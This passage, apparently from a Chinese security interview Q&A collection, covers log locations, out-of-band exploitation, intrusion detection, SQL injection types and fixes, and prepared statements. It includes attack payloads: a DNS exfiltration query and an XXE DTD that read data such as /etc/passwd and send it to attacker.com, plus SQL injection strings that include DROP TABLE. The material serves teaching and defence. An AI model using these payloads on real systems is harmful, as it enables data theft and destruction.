Parser<\/td>\n<\/tr>\n<tr>\n<td>\u9632\u706b\u5899\u65e5\u5fd7<\/td>\n<td>C:\\\\Windows\\\\System32\\\\LogFiles\\\\Firewall\\\\<\/td>\n<td>\u6587\u672c\u7f16\u8f91\u5668<\/td>\n<\/tr>\n<tr>\n<td>PowerShell\u65e5\u5fd7<\/td>\n<td>\u6ce8\u518c\u8868\u914d\u7f6e&#xff0c;\u9ed8\u8ba4\u4e0d\u5f00\u542f<\/td>\n<td>Get-WinEvent<\/td>\n<\/tr>\n<tr>\n<td>RDP\u65e5\u5fd7<\/td>\n<td>Security\u65e5\u5fd7\u4e2d\u7684Event ID 4624\/4625<\/td>\n<td>Event Viewer\u8fc7\u6ee4<\/td>\n<\/tr>\n<tr>\n<td>Webshell\u65e5\u5fd7<\/td>\n<td>\u5404Web\u5e94\u7528\u76ee\u5f55\u4e0b\u7684log\u6587\u4ef6\u5939<\/td>\n<td>\u6839\u636e\u5e94\u7528\u800c\u5b9a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"Linux%E6%97%A5%E5%BF%97%E4%BD%8D%E7%BD%AE%EF%BC%9A\">Linux\u65e5\u5fd7\u4f4d\u7f6e&#xff1a;<\/h4>\n<table>\n<tr>\u65e5\u5fd7\u7c7b\u578b\u9ed8\u8ba4\u4f4d\u7f6e\u67e5\u770b\u547d\u4ee4<\/tr>\n<tbody>\n<tr>\n<td>\u7cfb\u7edf\u65e5\u5fd7<\/td>\n<td>\/var\/log\/messages\u00a0\u6216\u00a0\/var\/log\/syslog<\/td>\n<td>cat,\u00a0tail -f,\u00a0less<\/td>\n<\/tr>\n<tr>\n<td>\u8ba4\u8bc1\u65e5\u5fd7<\/td>\n<td>\/var\/log\/secure\u00a0(RHEL\/CentOS) \/var\/log\/auth.log\u00a0(Debian\/Ubuntu)<\/td>\n<td>grep &#034;Failed password&#034;<\/td>\n<\/tr>\n<tr>\n<td>\u767b\u5f55\u8bb0\u5f55<\/td>\n<td>\/var\/log\/wtmp&#xff08;\u6210\u529f\u767b\u5f55&#xff09; \/var\/log\/btmp&#xff08;\u5931\u8d25\u767b\u5f55&#xff09;<\/td>\n<td>last,\u00a0lastb<\/td>\n<\/tr>\n<tr>\n<td>Web\u670d\u52a1\u5668<\/td>\n<td>Apache:\u00a0\/var\/log\/httpd\/access_log Nginx:\u00a0\/var\/log\/nginx\/access.log<\/td>\n<td>tail -f, awk\u5206\u6790<\/td>\n<\/tr>\n<tr>\n<td>\u6570\u636e\u5e93\u65e5\u5fd7<\/td>\n<td>MySQL:\u00a0\/var\/log\/mysql\/error.log PostgreSQL:\u00a0\/var\/log\/postgresql\/<\/td>\n<td>\u67e5\u770b\u76f8\u5e94\u6587\u4ef6<\/td>\n<\/tr>\n<tr>\n<td>\u547d\u4ee4\u5386\u53f2<\/td>\n<td>~\/.bash_history ~\/.zsh_history<\/td>\n<td>history,\u00a0cat .bash_history<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3 id=\"874.%20%E8%B0%88%E8%B0%88OOB\">874. \u8c08\u8c08OOB<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<p>OOB&#xff08;Out-of-Band&#xff0c;\u5e26\u5916\u901a\u4fe1&#xff09;\u662f\u4e00\u79cd\u5229\u7528\u6f0f\u6d1e\u7684\u65b9\u5f0f&#xff0c;\u7279\u522b\u9002\u7528\u4e8e\u4ee5\u4e0b\u573a\u666f&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF%EF%BC%9A\">1. \u5e94\u7528\u573a\u666f&#xff1a;<\/h4>\n<ul>\n<li>\u76f2\u6ce8\u7c7b\u6f0f\u6d1e&#xff1a;SQL\u76f2\u6ce8\u3001XPath\u76f2\u6ce8\u3001XXE\u76f2\u6ce8<\/li>\n<li>\u65e0\u56de\u663e\u6f0f\u6d1e&#xff1a;\u547d\u4ee4\u6267\u884c\u65e0\u56de\u663e\u3001SSRF\u65e0\u56de\u663e<\/li>\n<li>\u7f51\u7edc\u9694\u79bb\u73af\u5883&#xff1a;\u76ee\u6807\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u653b\u51fb\u8005\u670d\u52a1\u5668<\/li>\n<\/ul>\n<h4 id=\"2.%20%E5%B8%B8%E7%94%A8%E5%8D%8F%E8%AE%AE%EF%BC%9A\">2. \u5e38\u7528\u534f\u8bae&#xff1a;<\/h4>\n<table>\n<tr>\u534f\u8bae\u4f18\u70b9\u7f3a\u70b9\u5de5\u5177<\/tr>\n<tbody>\n<tr>\n<td>DNS<\/td>\n<td>\u5927\u591a\u6570\u73af\u5883\u5141\u8bb8DNS\u51fa\u7ad9 \u53ef\u7a7f\u900f\u90e8\u5206\u9632\u706b\u5899<\/td>\n<td>\u54cd\u5e94\u6162 \u6570\u636e\u91cf\u5c0f<\/td>\n<td>dnslog.cn, ceye.io Burp Collaborator<\/td>\n<\/tr>\n<tr>\n<td>HTTP\/HTTPS<\/td>\n<td>\u6570\u636e\u91cf\u5927 \u53ef\u4f20\u8f93\u6587\u4ef6<\/td>\n<td>\u53ef\u80fd\u88ab\u62e6\u622a<\/td>\n<td>ngrok, Burp Collaborator \u81ea\u5efa\u670d\u52a1\u5668<\/td>\n<\/tr>\n<tr>\n<td>ICMP<\/td>\n<td>\u9690\u853d\u6027\u597d<\/td>\n<td>\u9700\u8981root\u6743\u9650 \u6570\u636e\u91cf\u5c0f<\/td>\n<td>ptunnel, icmpsh<\/td>\n<\/tr>\n<tr>\n<td>SMB<\/td>\n<td>\u53ef\u83b7\u53d6Net-NTLM\u54c8\u5e0c<\/td>\n<td>445\u7aef\u53e3\u5e38\u88ab\u9650\u5236<\/td>\n<td>Responder<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"3.%20%E6%8A%80%E6%9C%AF%E5%AE%9E%E7%8E%B0%EF%BC%9A\">3. \u6280\u672f\u5b9e\u73b0&#xff1a;<\/h4>\n<p>DNS OOB\u793a\u4f8b&#xff08;SQL\u76f2\u6ce8&#xff09;&#xff1a;<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#8212; MySQL SELECT LOAD_FILE(CONCAT(&#039;\\\\\\\\\\\\\\\\&#039;,(SELECT DATABASE()),&#039;.attacker.com\\\\\\\\test&#039;)) &#8212; \u5c06\u67e5\u8be2\u7ed3\u679c\u4f5c\u4e3a\u5b50\u57df\u540d\u53d1\u9001\u5230DNS\u670d\u52a1\u5668 <\/p>\n<p>HTTP OOB\u793a\u4f8b&#xff08;XXE\u76f2\u6ce8&#xff09;&#xff1a;<\/p>\n<p>Xml<\/p>\n<p>\u590d\u5236<\/p>\n<p>&lt;!ENTITY % file SYSTEM &#034;file:\/\/\/etc\/passwd&#034;&gt; &lt;!ENTITY % dtd SYSTEM &#034;http:\/\/attacker.com\/evil.dtd&#034;&gt; %dtd; %send;<\/p>\n<h4 id=\"4.%20%E6%A3%80%E6%B5%8B%E5%B7%A5%E5%85%B7%EF%BC%9A\">4. \u68c0\u6d4b\u5de5\u5177&#xff1a;<\/h4>\n<ul>\n<li>Burp Collaborator&#xff1a;\u96c6\u6210\u5728Burp Suite\u4e2d<\/li>\n<li>DNSlog\u5e73\u53f0&#xff1a;\u63d0\u4f9b\u4e34\u65f6\u5b50\u57df\u540d\u4f9b\u68c0\u6d4b<\/li>\n<li>Interact.sh&#xff1a;\u5f00\u6e90OOB\u5e73\u53f0<\/li>\n<\/ul>\n<h3 id=\"875.%20%E8%B0%88%E8%B0%88IDR\">875. \u8c08\u8c08IDR<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<p>IDR\u901a\u5e38\u6307\u5165\u4fb5\u68c0\u6d4b\u4e0e\u54cd\u5e94&#xff08;Intrusion Detection and Response&#xff09;&#xff0c;\u662f\u5b89\u5168\u8fd0\u8425\u4e2d\u5fc3&#xff08;SOC&#xff09;\u7684\u6838\u5fc3\u529f\u80fd&#xff1a;<\/p>\n<h4 id=\"1.%20IDR%E7%BB%84%E6%88%90%E9%83%A8%E5%88%86%EF%BC%9A\">1. IDR\u7ec4\u6210\u90e8\u5206&#xff1a;<\/h4>\n<table>\n<tr>\u7ec4\u4ef6\u529f\u80fd\u6280\u672f\u5b9e\u73b0<\/tr>\n<tbody>\n<tr>\n<td>\u6570\u636e\u6536\u96c6<\/td>\n<td>\u6536\u96c6\u65e5\u5fd7\u3001\u6d41\u91cf\u3001\u7ec8\u7aef\u6570\u636e<\/td>\n<td>SIEM, Log Collector, EDR Agent<\/td>\n<\/tr>\n<tr>\n<td>\u5a01\u80c1\u68c0\u6d4b<\/td>\n<td>\u8bc6\u522b\u653b\u51fb\u884c\u4e3a<\/td>\n<td>\u89c4\u5219\u5f15\u64ce, \u673a\u5668\u5b66\u4e60, \u5f02\u5e38\u68c0\u6d4b<\/td>\n<\/tr>\n<tr>\n<td>\u544a\u8b66\u5206\u6790<\/td>\n<td>\u5173\u8054\u5206\u6790&#xff0c;\u51cf\u5c11\u8bef\u62a5<\/td>\n<td>\u5173\u8054\u89c4\u5219, \u4e0a\u4e0b\u6587\u5206\u6790<\/td>\n<\/tr>\n<tr>\n<td>\u54cd\u5e94\u5904\u7f6e<\/td>\n<td>\u9694\u79bb\u3001\u963b\u65ad\u3001\u4fee\u590d<\/td>\n<td>SOAR, \u81ea\u52a8\u5316\u811a\u672c<\/td>\n<\/tr>\n<tr>\n<td>\u6eaf\u6e90\u53d6\u8bc1<\/td>\n<td>\u5206\u6790\u653b\u51fb\u8def\u5f84<\/td>\n<td>\u65f6\u95f4\u7ebf\u5206\u6790, \u8bc1\u636e\u94fe\u4fdd\u5168<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"2.%20%E6%A3%80%E6%B5%8B%E6%8A%80%E6%9C%AF%EF%BC%9A\">2. \u68c0\u6d4b\u6280\u672f&#xff1a;<\/h4>\n<p>\u57fa\u4e8e\u7b7e\u540d\u7684\u68c0\u6d4b&#xff1a;<\/p>\n<ul>\n<li>\u5df2\u77e5\u653b\u51fb\u7279\u5f81\u5339\u914d<\/li>\n<li>\u4f18\u70b9&#xff1a;\u51c6\u786e\u7387\u9ad8&#xff0c;\u901f\u5ea6\u5feb<\/li>\n<li>\u7f3a\u70b9&#xff1a;\u65e0\u6cd5\u68c0\u6d4b0day&#xff0c;\u9700\u8981\u6301\u7eed\u66f4\u65b0<\/li>\n<\/ul>\n<p>\u57fa\u4e8e\u5f02\u5e38\u7684\u68c0\u6d4b&#xff1a;<\/p>\n<ul>\n<li>\u5efa\u7acb\u6b63\u5e38\u884c\u4e3a\u57fa\u7ebf<\/li>\n<li>\u68c0\u6d4b\u504f\u79bb\u57fa\u7ebf\u7684\u884c\u4e3a<\/li>\n<li>\u4f18\u70b9&#xff1a;\u53ef\u68c0\u6d4b\u672a\u77e5\u5a01\u80c1<\/li>\n<li>\u7f3a\u70b9&#xff1a;\u8bef\u62a5\u7387\u9ad8&#xff0c;\u9700\u8c03\u4f18<\/li>\n<\/ul>\n<p>\u57fa\u4e8e\u884c\u4e3a\u7684\u68c0\u6d4b&#xff1a;<\/p>\n<ul>\n<li>\u5206\u6790\u653b\u51fb\u94fe\u884c\u4e3a<\/li>\n<li>\u5982MITRE ATT&amp;CK\u6846\u67b6<\/li>\n<li>\u4f18\u70b9&#xff1a;\u68c0\u6d4b\u9ad8\u7ea7\u5a01\u80c1<\/li>\n<li>\u7f3a\u70b9&#xff1a;\u5b9e\u73b0\u590d\u6742<\/li>\n<\/ul>\n<h4 id=\"3.%20%E5%93%8D%E5%BA%94%E6%B5%81%E7%A8%8B%EF%BC%9A\">3. \u54cd\u5e94\u6d41\u7a0b&#xff1a;<\/h4>\n<p> \u68c0\u6d4b\u544a\u8b66 \u2192 \u7814\u5224\u5206\u6790 \u2192 \u5a01\u80c1\u786e\u8ba4 \u2192 \u5e94\u6025\u54cd\u5e94 \u2192 \u6eaf\u6e90\u53d6\u8bc1 \u2192 \u4fee\u590d\u52a0\u56fa <\/p>\n<h4 id=\"4.%20%E5%B7%A5%E5%85%B7%E7%94%9F%E6%80%81%EF%BC%9A\">4. \u5de5\u5177\u751f\u6001&#xff1a;<\/h4>\n<ul>\n<li>SIEM&#xff1a;Splunk, QRadar, ArcSight<\/li>\n<li>EDR&#xff1a;CrowdStrike, SentinelOne, Carbon Black<\/li>\n<li>SOAR&#xff1a;Splunk Phantom, IBM Resilient<\/li>\n<li>\u5f00\u6e90\u65b9\u6848&#xff1a;ELK Stack, Wazuh, Security Onion<\/li>\n<\/ul>\n<h3 id=\"876.%20SQL%E6%B3%A8%E5%85%A5%E7%A7%8D%E7%B1%BB\">876. SQL\u6ce8\u5165\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5%EF%BC%88Union-Based%EF%BC%89\">1. \u8054\u5408\u67e5\u8be2\u6ce8\u5165&#xff08;Union-Based&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;\u5229\u7528UNION\u5408\u5e76\u67e5\u8be2\u7ed3\u679c<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#039; UNION SELECT username, password FROM users&#8211;<\/p>\n<p>\u7279\u70b9&#xff1a;<\/p>\n<ul>\n<li>\u9700\u8981\u5217\u6570\u76f8\u540c<\/li>\n<li>\u6570\u636e\u7c7b\u578b\u517c\u5bb9<\/li>\n<li>\u901a\u5e38\u6709\u56de\u663e\u4f4d\u7f6e<\/li>\n<\/ul>\n<h4 id=\"2.%20%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%EF%BC%88Error-Based%EF%BC%89\">2. \u62a5\u9519\u6ce8\u5165&#xff08;Error-Based&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;\u5229\u7528\u6570\u636e\u5e93\u9519\u8bef\u4fe1\u606f\u6cc4\u9732\u6570\u636e<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#039; AND extractvalue(1, concat(0x7e, (SELECT &#064;&#064;version)))&#8211;<\/p>\n<p>\u5e38\u89c1\u51fd\u6570&#xff1a;<\/p>\n<ul>\n<li>MySQL: extractvalue(), updatexml(), floor()<\/li>\n<li>MSSQL: convert(), cast()<\/li>\n<li>Oracle: ctxsys.drithsx.sn()<\/li>\n<\/ul>\n<h4 id=\"3.%20%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%EF%BC%88Boolean-Based%20Blind%EF%BC%89\">3. \u5e03\u5c14\u76f2\u6ce8&#xff08;Boolean-Based Blind&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;\u6839\u636e\u9875\u9762\u771f\u5047\u72b6\u6001\u63a8\u65ad\u6570\u636e<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#039; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id&#061;1)&#061;&#039;a&#039;&#8211;<\/p>\n<p>\u5224\u65ad\u65b9\u5f0f&#xff1a;<\/p>\n<ul>\n<li>\u9875\u9762\u5185\u5bb9\u53d8\u5316<\/li>\n<li>HTTP\u72b6\u6001\u7801<\/li>\n<li>\u54cd\u5e94\u65f6\u95f4\u7ec6\u5fae\u5dee\u522b<\/li>\n<\/ul>\n<h4 id=\"4.%20%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8%EF%BC%88Time-Based%20Blind%EF%BC%89\">4. \u65f6\u95f4\u76f2\u6ce8&#xff08;Time-Based Blind&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;\u901a\u8fc7\u5ef6\u65f6\u51fd\u6570\u5224\u65ad\u6761\u4ef6\u771f\u5047<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#039; AND IF(SUBSTRING(database(),1,1)&#061;&#039;a&#039;, SLEEP(5), 0)&#8211;<\/p>\n<p>\u5ef6\u65f6\u51fd\u6570&#xff1a;<\/p>\n<ul>\n<li>MySQL: SLEEP(), BENCHMARK()<\/li>\n<li>MSSQL: WAITFOR DELAY<\/li>\n<li>PostgreSQL: pg_sleep()<\/li>\n<\/ul>\n<h4 id=\"5.%20%E5%A0%86%E5%8F%A0%E6%9F%A5%E8%AF%A2%EF%BC%88Stacked%20Queries%EF%BC%89\">5. \u5806\u53e0\u67e5\u8be2&#xff08;Stacked Queries&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;\u6267\u884c\u591a\u6761SQL\u8bed\u53e5<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#039;; DROP TABLE users; &#8212;<\/p>\n<p>\u652f\u6301\u6570\u636e\u5e93&#xff1a;<\/p>\n<ul>\n<li>MSSQL\u3001PostgreSQL\u652f\u6301<\/li>\n<li>MySQL\u9700\u7279\u5b9a\u914d\u7f6e&#xff08;\u9ed8\u8ba4\u4e0d\u652f\u6301&#xff09;<\/li>\n<\/ul>\n<h4 id=\"6.%20%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5%EF%BC%88Second-Order%EF%BC%89\">6. \u4e8c\u6b21\u6ce8\u5165&#xff08;Second-Order&#xff09;<\/h4>\n<p>\u539f\u7406&#xff1a;<\/p>\n<li>\u9996\u6b21\u63d2\u5165\u6076\u610f\u6570\u636e&#xff08;\u88ab\u8f6c\u4e49&#xff09;<\/li>\n<li>\u540e\u7eed\u67e5\u8be2\u4e2d\u4f7f\u7528\u8be5\u6570\u636e&#xff08;\u5df2\u8f6c\u4e49\u8fd8\u539f&#xff09;<\/li>\n<li>\u89e6\u53d1\u6ce8\u5165<\/li>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#8212; \u6ce8\u518c\u7528\u6237\u65f6&#xff1a;admin&#039;&#8211; &#8212; \u4fee\u6539\u5bc6\u7801\u65f6&#xff1a;UPDATE users SET password&#061;&#039;new&#039; WHERE username&#061;&#039;admin&#039;&#8211;&#039;<\/p>\n<h4 id=\"7.%20%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5\">7. \u5bbd\u5b57\u8282\u6ce8\u5165<\/h4>\n<p>\u539f\u7406&#xff1a;\u5229\u7528\u7f16\u7801\u8f6c\u6362&#xff08;\u5982GBK&#xff09;\u7ed5\u8fc7\u8f6c\u4e49<\/p>\n<p> %df%27 \u2192 \u8f6c\u4e49\u4e3a%df%5c%27 \u2192 GBK\u89e3\u7801\u4e3a&#034;\u904b&#039;&#034;<\/p>\n<p>\u573a\u666f&#xff1a;PHP&#043;MySQL&#xff0c;GBK\u7f16\u7801<\/p>\n<h4 id=\"8.%20%E5%85%B6%E4%BB%96%E7%B1%BB%E5%9E%8B%EF%BC%9A\">8. \u5176\u4ed6\u7c7b\u578b&#xff1a;<\/h4>\n<ul>\n<li>Cookie\u6ce8\u5165&#xff1a;\u6ce8\u5165\u70b9\u5728Cookie\u4e2d<\/li>\n<li>User-Agent\u6ce8\u5165&#xff1a;\u6ce8\u5165\u70b9\u5728HTTP\u5934\u90e8<\/li>\n<li>XFF\u6ce8\u5165&#xff1a;\u6ce8\u5165\u70b9\u5728X-Forwarded-For<\/li>\n<li>JSON\u6ce8\u5165&#xff1a;\u6ce8\u5165\u70b9\u5728JSON\u53c2\u6570<\/li>\n<li>SOAP\u6ce8\u5165&#xff1a;\u6ce8\u5165\u70b9\u5728SOAP\u8bf7\u6c42<\/li>\n<\/ul>\n<h3 id=\"877.%20SQL%E6%B3%A8%E5%85%A5%E4%BF%AE%E5%A4%8D\">877. SQL\u6ce8\u5165\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%8F%82%E6%95%B0%E5%8C%96%E6%9F%A5%E8%AF%A2%EF%BC%88%E9%A2%84%E7%BC%96%E8%AF%91%EF%BC%89\">1. \u53c2\u6570\u5316\u67e5\u8be2&#xff08;\u9884\u7f16\u8bd1&#xff09;<\/h4>\n<p>\u6700\u4f73\u5b9e\u8df5&#xff1a;<\/p>\n<p>Java<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ Java\u793a\u4f8b String sql &#061; &#034;SELECT * FROM users WHERE username &#061; ?&#034;; PreparedStatement stmt &#061; connection.prepareStatement(sql); stmt.setString(1, username); ResultSet rs &#061; stmt.executeQuery();<\/p>\n<p>\u652f\u6301\u60c5\u51b5&#xff1a;<\/p>\n<ul>\n<li>\u6240\u6709\u4e3b\u6d41\u8bed\u8a00\u548c\u6846\u67b6\u90fd\u652f\u6301<\/li>\n<li>\u662f\u9996\u9009\u7684\u9632\u5fa1\u65b9\u6848<\/li>\n<\/ul>\n<h4 id=\"2.%20%E5%AD%98%E5%82%A8%E8%BF%87%E7%A8%8B\">2. \u5b58\u50a8\u8fc7\u7a0b<\/h4>\n<p>\u4f7f\u7528\u6ce8\u610f&#xff1a;<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#8212; \u6b63\u786e\u4f7f\u7528&#xff1a;\u53c2\u6570\u5316\u8c03\u7528 CREATE PROCEDURE GetUser (&#064;username NVARCHAR(50)) AS BEGIN SELECT * FROM users WHERE username &#061; &#064;username END &#8212; \u9519\u8bef\u4f7f\u7528&#xff1a;\u52a8\u6001\u62fc\u63a5&#xff08;\u4ecd\u6709\u98ce\u9669&#xff09; CREATE PROCEDURE UnsafeGetUser (&#064;username NVARCHAR(50)) AS BEGIN DECLARE &#064;sql NVARCHAR(200) SET &#064;sql &#061; &#039;SELECT * FROM users WHERE username &#061; &#039;&#039;&#039; &#043; &#064;username &#043; &#039;&#039;&#039;&#039; EXEC(&#064;sql) END <\/p>\n<h4 id=\"3.%20%E8%BE%93%E5%85%A5%E9%AA%8C%E8%AF%81\">3. \u8f93\u5165\u9a8c\u8bc1<\/h4>\n<p>\u767d\u540d\u5355\u9a8c\u8bc1&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># Python\u793a\u4f8b&#xff1a;\u53ea\u5141\u8bb8\u5b57\u6bcd\u6570\u5b57 import re if not re.match(&#034;^[a-zA-Z0-9]&#043;$&#034;, username): raise ValueError(&#034;Invalid username&#034;)<\/p>\n<p>\u7c7b\u578b\u68c0\u67e5&#xff1a;<\/p>\n<p>Php<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ PHP\u793a\u4f8b&#xff1a;ID\u5e94\u4e3a\u6574\u6570 $id &#061; intval($_GET[&#039;id&#039;]); if ($id &lt;&#061; 0) { die(&#034;Invalid ID&#034;); }<\/p>\n<h4 id=\"4.%20%E8%BE%93%E5%87%BA%E7%BC%96%E7%A0%81\">4. \u8f93\u51fa\u7f16\u7801<\/h4>\n<p>\u9632\u5fa1\u4e8c\u6b21\u6ce8\u5165&#xff1a;<\/p>\n<p>Javascript<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u5165\u5e93\u524d\u7f16\u7801 function encodeForSQL(input) { return input.replace(\/&#039;\/g, &#034;&#039;&#039;&#034;); } \/\/ \u4f46\u8fd9\u4e0d\u662f\u4e3b\u8981\u9632\u5fa1&#xff0c;\u5e94\u7ed3\u5408\u53c2\u6570\u5316\u67e5\u8be2 <\/p>\n<h4 id=\"5.%20%E6%9C%80%E5%B0%8F%E6%9D%83%E9%99%90%E5%8E%9F%E5%88%99\">5. \u6700\u5c0f\u6743\u9650\u539f\u5219<\/h4>\n<p>\u6570\u636e\u5e93\u7528\u6237\u6743\u9650&#xff1a;<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#8212; \u521b\u5efa\u53ea\u8bfb\u7528\u6237 CREATE USER &#039;webapp&#039;&#064;&#039;localhost&#039; IDENTIFIED BY &#039;password&#039;; GRANT SELECT ON appdb.* TO &#039;webapp&#039;&#064;&#039;localhost&#039;; &#8212; \u521b\u5efa\u6700\u5c0f\u6743\u9650\u7528\u6237 CREATE USER &#039;webapp_write&#039;&#064;&#039;localhost&#039; IDENTIFIED BY &#039;password&#039;; GRANT INSERT, UPDATE ON appdb.orders TO &#039;webapp_write&#039;&#064;&#039;localhost&#039;;<\/p>\n<h4 id=\"6.%20%E5%85%B6%E4%BB%96%E6%8E%AA%E6%96%BD%EF%BC%9A\">6. \u5176\u4ed6\u63aa\u65bd&#xff1a;<\/h4>\n<table>\n<tr>\u63aa\u65bd\u8bf4\u660e\u5c40\u9650\u6027<\/tr>\n<tbody>\n<tr>\n<td>WAF<\/td>\n<td>Web\u5e94\u7528\u9632\u706b\u5899&#xff0c;\u89c4\u5219\u8fc7\u6ee4<\/td>\n<td>\u53ef\u80fd\u88ab\u7ed5\u8fc7&#xff0c;\u9700\u6301\u7eed\u66f4\u65b0<\/td>\n<\/tr>\n<tr>\n<td>\u5b89\u5168\u6846\u67b6<\/td>\n<td>\u4f7f\u7528ORM&#xff08;\u5982Hibernate&#xff09;<\/td>\n<td>\u914d\u7f6e\u4e0d\u5f53\u4ecd\u6709\u98ce\u9669<\/td>\n<\/tr>\n<tr>\n<td>\u9519\u8bef\u5904\u7406<\/td>\n<td>\u81ea\u5b9a\u4e49\u9519\u8bef\u9875\u9762<\/td>\n<td>\u907f\u514d\u4fe1\u606f\u6cc4\u9732&#xff0c;\u4e0d\u9632\u5fa1\u6ce8\u5165<\/td>\n<\/tr>\n<tr>\n<td>\u5b89\u5168\u5f00\u53d1<\/td>\n<td>\u5b89\u5168\u7f16\u7801\u57f9\u8bad&#xff0c;\u4ee3\u7801\u5ba1\u8ba1<\/td>\n<td>\u9884\u9632\u4e3a\u4e3b<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"7.%20%E9%98%B2%E5%BE%A1%E5%B1%82%E6%AC%A1%EF%BC%9A\">7. \u9632\u5fa1\u5c42\u6b21&#xff1a;<\/h4>\n<p> \u8f93\u5165\u9a8c\u8bc1 \u2192 \u53c2\u6570\u5316\u67e5\u8be2 \u2192 \u8f93\u51fa\u7f16\u7801 \u2192 \u6743\u9650\u63a7\u5236 \u2192 \u76d1\u63a7\u5ba1\u8ba1 <\/p>\n<h3 id=\"878.%20%E9%A2%84%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86\">878. \u9884\u7f16\u8bd1\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E4%BC%A0%E7%BB%9FSQL%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B%EF%BC%88%E4%B8%8D%E5%AE%89%E5%85%A8%EF%BC%89%EF%BC%9A\">1. \u4f20\u7edfSQL\u6267\u884c\u6d41\u7a0b&#xff08;\u4e0d\u5b89\u5168&#xff09;&#xff1a;<\/h4>\n<p> 1. \u62fc\u63a5SQL&#xff1a;&#096;&#034;SELECT * FROM users WHERE name&#061;&#039;&#034; &#043; name &#043; &#034;&#039;&#034;&#096;<br \/>\n2. \u53d1\u9001\u5230\u6570\u636e\u5e93<br \/>\n3. \u6570\u636e\u5e93\u89e3\u6790SQL\u8bed\u6cd5<br \/>\n4. \u7f16\u8bd1\u6267\u884c\u8ba1\u5212<br \/>\n5. \u6267\u884c\u67e5\u8be2<br \/>\n6. \u8fd4\u56de\u7ed3\u679c <\/p>\n<p>\u95ee\u9898&#xff1a;\u6570\u636e\u4e0e\u6307\u4ee4\u6df7\u5408&#xff0c;\u53ef\u80fd\u6539\u53d8SQL\u7ed3\u6784<\/p>\n<h4 id=\"2.%20%E9%A2%84%E7%BC%96%E8%AF%91%E6%89%A7%E8%A1%8C%E6%B5%81%E7%A8%8B%EF%BC%9A\">2. \u9884\u7f16\u8bd1\u6267\u884c\u6d41\u7a0b&#xff1a;<\/h4>\n<p> 1. \u51c6\u5907SQL\u6a21\u677f&#xff1a;&#096;&#034;SELECT * FROM users WHERE name &#061; ?&#034;&#096;<br \/>\n2. \u53d1\u9001\u6a21\u677f\u5230\u6570\u636e\u5e93<br \/>\n3. \u6570\u636e\u5e93\u89e3\u6790\u8bed\u6cd5&#xff0c;\u7f16\u8bd1\u6267\u884c\u8ba1\u5212&#xff0c;\u7f13\u5b58<br \/>\n4. \u53d1\u9001\u53c2\u6570\u503c&#xff08;\u7eaf\u6570\u636e&#xff09;<br \/>\n5. \u6570\u636e\u5e93\u4f7f\u7528\u7f13\u5b58\u7684\u8ba1\u5212\u6267\u884c<br \/>\n6. \u8fd4\u56de\u7ed3\u679c <\/p>\n<h4 id=\"3.%20%E6%8A%80%E6%9C%AF%E5%8E%9F%E7%90%86%EF%BC%9A\">3. \u6280\u672f\u539f\u7406&#xff1a;<\/h4>\n<p>\u53c2\u6570\u5360\u4f4d\u7b26&#xff1a;<\/p>\n<ul>\n<li>?&#xff1a;\u4f4d\u7f6e\u53c2\u6570&#xff08;\u5927\u90e8\u5206\u6570\u636e\u5e93&#xff09;<\/li>\n<li>:name&#xff1a;\u547d\u540d\u53c2\u6570&#xff08;\u67d0\u4e9b\u6570\u636e\u5e93&#xff09;<\/li>\n<\/ul>\n<p>\u8ba1\u5212\u7f13\u5b58&#xff1a;<\/p>\n<p>Sql<\/p>\n<p>\u590d\u5236<\/p>\n<p>&#8212; \u7b2c\u4e00\u6b21\u6267\u884c&#xff08;\u7f16\u8bd1&#043;\u7f13\u5b58&#xff09; PREPARE stmt FROM &#039;SELECT * FROM users WHERE id &#061; ?&#039;; SET &#064;id &#061; 1; EXECUTE stmt USING &#064;id; &#8212; 